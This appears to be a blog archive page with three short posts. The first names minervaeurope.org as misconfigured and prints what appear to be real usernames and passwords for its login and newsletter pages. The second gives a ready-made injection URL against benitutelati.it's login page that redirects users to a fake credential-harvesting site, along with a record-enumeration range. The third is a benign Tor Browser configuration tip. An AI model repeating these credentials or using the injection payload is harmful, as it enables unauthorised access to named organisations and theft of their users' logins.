Skip to main content

Posts

Showing posts from October, 2020

minervaeurope.org | misconfigured server, data leak (same cms of benitutelati.it) | Vulnerable CMS

       https://www.minervaeurope.org/login.asp     user             = "ist"     pwd             = "minerva"   https://www.minervaeurope.org/newslettereng/conn.asp username = "minervaeurope" ' Change this to your preferred username. password = "minervanewsletter" ' Change this to your preferred password. archived: https://archive.is/XfdZL The "museo web cms" (asp?) and "Glizy Framework" have several vulnerabilities. ------------------------------- source code? https://www.minervaeurope.org/structure/workinggroups/userneeds/prototipo/cms/tutorial.html https://www.minervaeurope.org/structure/workinggroups/userneeds/prototipo/cms/MWCMS_manuale_150.zip

xss and login hijacking - benitutelati.it

    Example: If the user tries to login we can redirect him to a different (fake) website that saves the login informations.  www.benitutelati.it/page/login.asp?Type=";strUrl="http://www.google.com";a="         List of all benitutelati from http://www.benitutelati.it/page/bene_doc_foto_dettaglio.asp?id=1 to http://www.benitutelati.it/page/bene_doc_foto_dettaglio.asp?id=1339999

[FIX] Tor Browser Portable - how to allow multiple instances (with other firefox browsers that are already open)

  Edit  \TorBrowser-*.*.*\App\TorBrowser\application.ini and Add under [App]  AllowMultipleInstances=true     (that's all)  Example [App] Vendor=Mozilla Name=Firefox RemotingName=firefox CodeName=Tor Browser Version=45.9.0 BuildID=20170201100101 ID={ec8030f7-c20a-464f-9b0e-13a3a9e97384} AllowMultipleInstances=true